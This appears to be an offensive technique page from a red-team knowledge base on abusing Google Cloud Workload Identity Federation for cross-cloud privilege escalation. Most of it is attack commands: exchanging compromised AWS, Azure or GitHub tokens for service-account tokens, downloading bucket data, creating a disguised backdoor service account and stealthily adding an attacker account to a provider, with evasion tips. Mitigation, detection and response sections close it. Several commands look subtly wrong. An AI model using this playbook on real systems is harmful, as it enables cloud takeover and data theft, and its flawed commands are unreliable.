| Attribute | Details |
|---|---|
| Technique ID | CROSS-CLOUD-002 |
| MITRE ATT&CK v18.1 | T1484.002 - Domain Trust Modification |
| Tactic | Privilege Escalation, Lateral Movement |
| Platforms | GCP, Cross-Cloud |
| Severity | Critical |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | All GCP API versions (Workload Identity Federation available since 2021) |
| Patched In | N/A |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Google Cloud Identity Sync Compromise (T1484.002) exploits misconfigurations in GCP’s Workload Identity Federation (WIF) feature, which allows external workloads (AWS, Azure, GitHub, on-premises) to access GCP resources without long-lived service account keys. By default, WIF’s identity pool configuration allows any authenticated identity from configured external providers to access the same GCP service account. An attacker who compromises a single external identity (e.g., AWS access key, Azure service principal) can leverage this to impersonate any GCP service account in the victim’s organization. Additionally, attackers with iam.workloadIdentityPoolProviders.update permissions can modify existing pools to add their own external provider, enabling persistent backdoor access across all projects in the organization.
Attack Surface: GCP IAM Console, Workload Identity Federation configuration, Identity Pool definitions, external identity providers (OIDC, AWS), service account access bindings, GCP Organizations management, Cross-Project IAM policies.
Business Impact: Cross-cloud compromise with persistent access to all GCP resources. An attacker can assume high-privilege service accounts (e.g., Editor, Owner) in any project, access databases (Cloud SQL, Firestore, BigQuery), steal cloud storage (GCS buckets), compromise Kubernetes clusters (GKE), deploy malware via Cloud Functions/Cloud Run, and move laterally to AWS/Azure via stored credentials found on GCP resources.
Technical Context: WIF exploitation typically takes 15-60 minutes (enumeration + misconfiguration discovery). Detection likelihood is medium because external token exchange generates audit logs but may appear legitimate if mixed with normal CI/CD traffic. GCP Cloud Audit Logs record identity pool access but require specific log monitoring to detect anomalies.
| Framework | Control / ID | Description | |—|—|—| | CIS Benchmark | 5.1, 5.2 | IAM policies, identity federation control | | DISA STIG | V-251392 | GCP Identity and Access Management configuration | | CISA SCuBA | C2-4 | Identity federation security baseline | | NIST 800-53 | AC-2, AC-3, AC-5 | Account management, access control, separation of duties | | GDPR | Art. 32, 5(1)(f) | Security of processing; integrity and confidentiality | | DORA | Art. 9 | ICT security incident management for critical operators | | NIS2 | Art. 21(2)(c) | Cyber risk management; identity and access control | | ISO 27001 | A.9.1.1, A.9.2.1 | Access control policy; user authentication | | ISO 27005 | 8.2 | Risk assessment of cross-cloud trust relationships |
iam.workloadIdentityPoolProviders.update or iam.workloadIdentityPoolProviders.create, (2) compromised external identity (AWS key, Azure service principal, GitHub Actions token), or (3) ability to enumerate and discover misconfigured poolsSupported Versions:
Tools:
Objective: Identify misconfigured Workload Identity Federation pools and external provider mappings.
Command (gcloud - Any Authenticated GCP User):
# List all workload identity pools in the organization
gcloud iam workload-identity-pools list \
--location=global \
--format="table(name,displayName,disabled,state)" \
--project=YOUR_PROJECT_ID
# Expected output:
# NAME DISPLAY_NAME DISABLED STATE
# projects/123456789012/locations/global/workloadIdentityPools/aws-pool AWS Pool False ACTIVE
# projects/123456789012/locations/global/workloadIdentityPools/github-pool GitHub Actions Pool False ACTIVE
What to Look For:
Command (gcloud - Get Pool Details):
# Get detailed information about a pool
gcloud iam workload-identity-pools describe aws-pool \
--location=global \
--format=json \
--project=YOUR_PROJECT_ID | jq '.identityProviders'
# Expected output:
# [
# {
# "name": "projects/123456789012/locations/global/workloadIdentityPools/aws-pool/providers/aws-provider",
# "displayName": "AWS Provider",
# "disabled": false,
# "state": "ACTIVE",
# "attributeMapping": {
# "google.subject": "assertion.principal_arn"
# }
# }
# ]
What This Shows:
Command (gcloud - Enumerate Service Accounts with External Access):
# Get all service accounts that external identities can assume
gcloud iam service-accounts list \
--format="table(email,displayName)" \
--project=YOUR_PROJECT_ID
# For each service account, check who can impersonate it
for SA in $(gcloud iam service-accounts list --format='value(email)' --project=YOUR_PROJECT_ID); do
echo "=== $SA ==="
gcloud iam service-accounts get-iam-policy $SA \
--format="table(bindings[].role,bindings[].members[])" \
--project=YOUR_PROJECT_ID
done
Expected Output (Vulnerable):
roles/iam.workloadIdentityUser: [
"principalSet://goog/subject/[aws_principal_arn]", # ANY AWS principal
]
What This Means:
arn:aws:iam::ACCOUNT:*), EVERYONE in that AWS account can access itSupported Versions: All GCP API versions
Objective: Find identity pools that grant access to ALL identities, not just specific ones.
Command (gcloud - Enumerate Dangerous Defaults):
# Check which external identities can access a given service account
gcloud iam service-accounts get-iam-policy \
TARGET_SA@PROJECT_ID.iam.gserviceaccount.com \
--project=PROJECT_ID \
--format=json | jq '.bindings[] | select(.role=="roles/iam.workloadIdentityUser")'
# Expected Output (VULNERABLE):
# {
# "role": "roles/iam.workloadIdentityUser",
# "members": [
# "principalSet://goog/identityPool/{POOL_ID}/google.subject/*" # Grants access to ANY subject
# ]
# }
# Expected Output (SECURE):
# {
# "role": "roles/iam.workloadIdentityUser",
# "members": [
# "principal://iam.googleapis.com/projects/{PROJECT_ID}/locations/global/workloadIdentityPools/{POOL_ID}/subject/github_org:myorg:repo:myrepo:ref:refs/heads/main"
# ]
# }
What to Look For:
principalSet://goog/identityPool/{POOL_ID}/google.subject/* (wildcard = vulnerable)principalSet://goog/identityPool/{POOL_ID}/google.subject/ without specific value (vulnerable)Objective: Get an access token from the external identity provider (AWS, Azure, GitHub).
Command (AWS - Generate GetCallerIdentity Request):
If you have compromised AWS credentials:
# Set up AWS credentials (already compromised)
export AWS_ACCESS_KEY_ID="AKIAIOSFODNN7EXAMPLE"
export AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
# Generate signed GetCallerIdentity request (used by GCP for token verification)
curl -X POST \
-H "Authorization: AWS4-HMAC-SHA256 ..." \
"https://sts.amazonaws.com/?Action=GetCallerIdentity&Version=2011-06-15" \
--aws-sigv4 "aws:amz"
Command (Azure - Generate OIDC Token):
If you have compromised Azure service principal:
# Get Azure OIDC token using service principal credentials
az login --service-principal \
-u "CLIENT_ID" \
-p "CLIENT_SECRET" \
--tenant "TENANT_ID"
# Generate OIDC token for GCP
az account get-access-token --resource-type oss-rdbms --output json | jq '.accessToken'
Command (GitHub Actions - Generate OIDC Token):
If you have compromised GitHub Actions workflow:
# Inside GitHub Actions runner
curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
"$ACTIONS_ID_TOKEN_REQUEST_URL" \
| jq '.token'
Expected Output:
eyJhbGciOiJSUzI1NiIsImtpZCI6IjEyMzQ1In0.eyJzdWIiOiJhcm46YXdzOmlhbTo6MTIzNDU2Nzg5MDEyOnJvb3QiLCJpc3MiOiJodHRwczovL3N0cy5hbWF6b25hd3MuY29tIiwiYXVkIjoiaHR0cHM6Ly9pYW1jcmVkZW50aWFscy5nb29nbGVhcGlzLmNvbSJ9.SIGNATURE
What This Is:
Objective: Use the external token to assume a GCP service account.
Command (bash - Direct STS Exchange):
# Exchange external token for GCP service account token via STS API
# This uses GCP IAM Credentials Service
EXTERNAL_TOKEN="eyJhbGciOiJSUzI1NiIsImtpZCI6IjEyMzQ1In0..."
WORKLOAD_IDENTITY_PROVIDER="projects/123456789012/locations/global/workloadIdentityPools/aws-pool/providers/aws"
SERVICE_ACCOUNT_EMAIL="HIGH_PRIVILEGE_SA@myproject.iam.gserviceaccount.com"
# Step 1: Get STS token
STS_TOKEN=$(curl -X POST \
"https://sts.googleapis.com/v1/token" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "grant_type=urn:ietf:params:oauth:grant-type:token-exchange" \
-d "audience=//iam.googleapis.com/${WORKLOAD_IDENTITY_PROVIDER}" \
-d "requested_token_use=access_token" \
-d "subject_token=${EXTERNAL_TOKEN}" \
-d "subject_token_type=urn:ietf:params:oauth:token-type:jwt" \
| jq -r '.access_token')
# Step 2: Exchange STS token for service account token
SA_TOKEN=$(curl -X POST \
"https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/${SERVICE_ACCOUNT_EMAIL}:generateAccessToken" \
-H "Authorization: Bearer ${STS_TOKEN}" \
-H "Content-Type: application/json" \
-d '{"lifetime":"3600s","delegates":[]}' \
| jq -r '.accessToken')
echo "[+] Service Account Token: $SA_TOKEN"
Expected Output:
[+] Service Account Token: ya29.a0AfH6SMBu7zK6Z4jYkPp2C9wQ5...
What This Achieves:
OpSec & Evasion:
google.iam.credentials.v1.iamcredentials.GenerateAccessToken)Objective: Use the stolen token to perform privileged operations.
Command (gcloud - Set up Stolen Token):
# Create a temporary configuration with the stolen token
cat > /tmp/stolen_creds.json <<EOF
{
"type": "authorized_user",
"client_id": "IGNORED",
"client_secret": "IGNORED",
"refresh_token": "STOLEN_TOKEN_HERE"
}
EOF
# Configure gcloud to use stolen token
export GOOGLE_APPLICATION_CREDENTIALS="/tmp/stolen_creds.json"
# Verify authentication
gcloud auth list
gcloud projects list --limit 10
Command (bash - Direct API Access with Stolen Token):
# Use the token directly in API calls
SA_TOKEN="ya29.a0AfH6SMBu7zK6Z4jYkPp2C9wQ5..."
# List all GCS buckets in the organization
curl -s -H "Authorization: Bearer ${SA_TOKEN}" \
"https://storage.googleapis.com/storage/v1/b" \
| jq '.items[] | {name, projectNumber}'
# Download sensitive data from a bucket
curl -H "Authorization: Bearer ${SA_TOKEN}" \
"https://storage.googleapis.com/storage/v1/b/BUCKET_NAME/o/SENSITIVE_FILE" \
-o sensitive_file.zip
# Create a new service account (persistence)
curl -X POST \
-H "Authorization: Bearer ${SA_TOKEN}" \
-H "Content-Type: application/json" \
"https://iam.googleapis.com/v1/projects/PROJECT_ID/serviceAccounts" \
-d '{
"accountId":"backdoor-sa",
"displayName":"Legitimate-Looking Service Account"
}'
Expected Output:
{
"name": "projects/PROJECT_ID/serviceAccounts/backdoor-sa@PROJECT_ID.iam.gserviceaccount.com",
"email": "backdoor-sa@PROJECT_ID.iam.gserviceaccount.com",
"displayName": "Legitimate-Looking Service Account"
}
What This Means:
Supported Versions: All GCP API versions
iam.workloadIdentityPoolProviders.update PermissionObjective: Find a user or service account that can modify the identity pool provider configuration.
Command (gcloud - Check IAM Permissions):
# Check if current user has permission to update providers
gcloud projects get-iam-policy PROJECT_ID \
--flatten="bindings[].members" \
--filter="bindings.role:iam.workloadIdentityPoolProviders.*" \
--format="table(bindings.members)"
# If compromised user/SA found:
# members: [
# "user:admin@company.com",
# "serviceAccount:automation@PROJECT_ID.iam.gserviceaccount.com"
# ]
What to Look For:
roles/iam.workloadIdentityAdmin or custom roles containing iam.workloadIdentityPoolProviders.* permissionsObjective: Add your own AWS account, Azure tenant, or custom OIDC provider to the existing pool.
Command (gcloud - Update Provider):
# Get current provider configuration
gcloud iam workload-identity-pools providers describe aws-provider \
--location=global \
--workload-identity-pool=aws-pool \
--format=json > provider.json
# Edit the configuration to include your AWS account
cat provider.json | jq '.attributeMapping.aws_account = "123456789999"' > provider_modified.json
# Apply the modification
gcloud iam workload-identity-pools providers update aws-provider \
--location=global \
--workload-identity-pool=aws-pool \
--attribute-mapping='
google.subject=assertion.principal_arn,
aws_account=assertion.aws_account
' \
--update-mask='attributeMapping'
Or, using Terraform (Easier):
# Modify the provider in Terraform
resource "google_iam_workload_identity_pool_provider" "aws" {
workload_identity_pool_id = google_iam_workload_identity_pool.pool.workload_identity_pool_id
workload_identity_pool_provider_id = "aws-provider"
# ADD YOUR MALICIOUS ACCOUNT HERE
attribute_mapping = {
"google.subject" = "assertion.principal_arn"
"attacker_account" = "123456789999" # Your AWS account ID
}
attribute_condition = "assertion.aws_account in ['ORIGINAL_ACCOUNT', '123456789999']" # Stealth: include original
}
terraform apply
What This Achieves:
OpSec & Evasion:
attributeMapping to include both the original and your account (appears like legitimate sync)attribute_condition to restrict your added account to non-sensitive roles (stealth)Objective: Exchange your own AWS credentials for the GCP service account token.
Command (bash - Assume with Your Credentials):
# Use your own AWS credentials to get GCP access
export AWS_ACCESS_KEY_ID="YOUR_AWS_KEY"
export AWS_SECRET_ACCESS_KEY="YOUR_AWS_SECRET"
# Exchange your AWS credentials for GCP token (same as METHOD 1, STEP 3)
STS_TOKEN=$(curl -X POST \
"https://sts.googleapis.com/v1/token" \
-d "grant_type=urn:ietf:params:oauth:grant-type:token-exchange" \
-d "audience=//iam.googleapis.com/projects/PROJECT_ID/locations/global/workloadIdentityPools/aws-pool/providers/aws-provider" \
-d "requested_token_use=access_token" \
-d "subject_token=$(aws sts get-caller-identity --query 'Arn' -o text | base64)" \
-d "subject_token_type=urn:ietf:params:oauth:token-type:jwt" \
| jq -r '.access_token')
echo "[+] Got STS token: ${STS_TOKEN:0:50}..."
Enforce Audience-Based Conditions in Identity Pool: Restrict which service accounts can be accessed by each external identity. Applies To Versions: All GCP
Manual Steps (gcloud):
# Update the identity pool to require attribute conditions
gcloud iam workload-identity-pools update aws-pool \
--location=global \
--format=json \
--update-mask='disabled' \
--attribute-mapping='
google.subject=assertion.principal_arn,
aws_account=assertion.arn
' \
--attribute-condition='
assertion.aws_account == "arn:aws:iam::APPROVED_ACCOUNT:*" &&
assertion.principal_arn == "arn:aws:iam::APPROVED_ACCOUNT:role/APPROVED_ROLE"
'
Manual Steps (Terraform):
resource "google_iam_workload_identity_pool_provider" "aws" {
attribute_condition = "assertion.aws_account == 'arn:aws:iam::123456789012:*'"
}
Validation Command:
gcloud iam workload-identity-pools providers describe aws-provider \
--workload-identity-pool=aws-pool \
--location=global \
--format="get(attributeCondition)"
Restrict Service Accounts from External Assumption: Only allow specific, high-trust identities to assume sensitive service accounts. Applies To Versions: All GCP
Manual Steps (gcloud):
# Create restrictive IAM policy
cat > policy.yaml <<EOF
bindings:
- members:
- principalSet://goog/identityPool/aws-pool/google.subject/arn:aws:iam::APPROVED:role/APPROVED_ROLE_ONLY
role: roles/iam.workloadIdentityUser
- members:
- user:admin@company.com
role: roles/iam.workloadIdentityUser
EOF
# Apply the policy
gcloud iam service-accounts set-iam-policy \
HIGH_PRIVILEGE_SA@PROJECT_ID.iam.gserviceaccount.com \
policy.yaml
Disable Unnecessary Identity Pools: If a pool is not actively used, disable or delete it. Applies To Versions: All GCP
Manual Steps:
# Disable the pool (prevents new tokens from being issued)
gcloud iam workload-identity-pools disable aws-pool \
--location=global
# Or delete if unused
gcloud iam workload-identity-pools delete aws-pool \
--location=global
google.iam.admin.v1.CreateServiceAccountgoogle.iam.credentials.v1.GenerateAccessTokengoogle.iam.v1.UpdateServiceAccountIamPolicy# Check if attribute condition is properly set
gcloud iam workload-identity-pools providers describe aws-provider \
--workload-identity-pool=aws-pool \
--location=global \
--format="get(attributeCondition)"
# Expected Output (Secure):
# assertion.aws_account == 'arn:aws:iam::APPROVED_ACCOUNT:*'
# Check service account bindings are restrictive
gcloud iam service-accounts get-iam-policy \
HIGH_PRIVILEGE_SA@PROJECT_ID.iam.gserviceaccount.com \
--format=json | jq '.bindings[] | select(.role=="roles/iam.workloadIdentityUser")'
# Expected Output (Secure):
# {
# "role": "roles/iam.workloadIdentityUser",
# "members": [
# "principalSet://goog/identityPool/aws-pool/google.subject/arn:aws:iam::123456789012:role/APPROVED_ROLE_ONLY"
# ]
# }
google.iam.credentials.v1.iamcredentials.GenerateAccessToken - Excessive calls from unexpected identitiesgoogle.iam.admin.v1.CreateWorkloadIdentityPoolProvider - New provider addedgoogle.iam.admin.v1.UpdateWorkloadIdentityPool - Pool modified (attribute conditions removed)google.iam.admin.v1.UpdateServiceAccountIamPolicy - New binding for external principalsts.googleapis.com from non-CI/CD infrastructure{
"protoPayload": {
"methodName": "google.iam.credentials.v1.iamcredentials.GenerateAccessToken",
"resourceName": "projects/123456789012/serviceAccounts/HIGH_PRIVILEGE_SA@PROJECT_ID.iam.gserviceaccount.com",
"request": {
"name": "projects/-/serviceAccounts/HIGH_PRIVILEGE_SA@PROJECT_ID.iam.gserviceaccount.com",
"scope": ["https://www.googleapis.com/auth/cloud-platform"]
}
},
"sourceIPAddress": "ATTACKER_IP",
"principalEmail": "EXTERNAL_IDENTITY@AWS"
}
impersonatedServiceAccountEmail header# Disable the compromised identity pool immediately
gcloud iam workload-identity-pools disable aws-pool \
--location=global
# Revoke all external provider trust relationships
gcloud iam workload-identity-pools providers delete aws-provider \
--workload-identity-pool=aws-pool \
--location=global
# Remove suspicious bindings from service accounts
gcloud iam service-accounts remove-iam-policy-binding \
HIGH_PRIVILEGE_SA@PROJECT_ID.iam.gserviceaccount.com \
--member='principalSet://goog/identityPool/aws-pool/google.subject/*' \
--role='roles/iam.workloadIdentityUser'
# Export audit logs for forensics
gcloud logging read "resource.type=service_account AND protoPayload.methodName=google.iam.credentials.v1.iamcredentials.GenerateAccessToken" \
--limit 500 \
--format json > service_account_token_generation.json
# Analyze for suspicious patterns
jq '.[] | select(.protoPayload.authenticationInfo.principalEmail != "expected-sa@PROJECT_ID.iam.gserviceaccount.com") | {timestamp: .timestamp, principalEmail: .protoPayload.authenticationInfo.principalEmail, methodName: .protoPayload.methodName}' service_account_token_generation.json
# Delete backdoor service accounts created during attack
for SA in $(gcloud iam service-accounts list --filter="displayName:Legitimate-Looking" --format='value(email)'); do
gcloud iam service-accounts delete $SA --quiet
done
# Rotate all service account keys
for SA in $(gcloud iam service-accounts list --format='value(email)'); do
gcloud iam service-accounts keys list --iam-account=$SA \
--filter="validAfterTime:2025-01-10T00:00:00Z" \
--format='value(name)' | xargs -I {} gcloud iam service-accounts keys delete {} --iam-account=$SA --quiet
done
# Re-enable and reconfigure identity pools with restrictive settings
gcloud iam workload-identity-pools update aws-pool \
--location=global \
--attribute-condition='assertion.aws_account == "arn:aws:iam::APPROVED_ONLY:*"'
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Reconnaissance | [REC-CLOUD-002] ROADtools Entra ID enumeration | Discover cross-cloud infrastructure |
| 2 | Privilege Escalation | [CROSS-CLOUD-002] | Exploit misconfigured identity pool |
| 3 | Persistence | [IA-EXPLOIT-003] Logic App HTTP trigger abuse | Maintain access via cloud functions |
| 4 | Impact | [CROSS-CLOUD-003] Multi-Cloud Service Account Abuse | Move laterally to AWS/Azure |
| 5 | Exfiltration | Data access via stolen service account credentials | Steal sensitive data from GCS, BigQuery |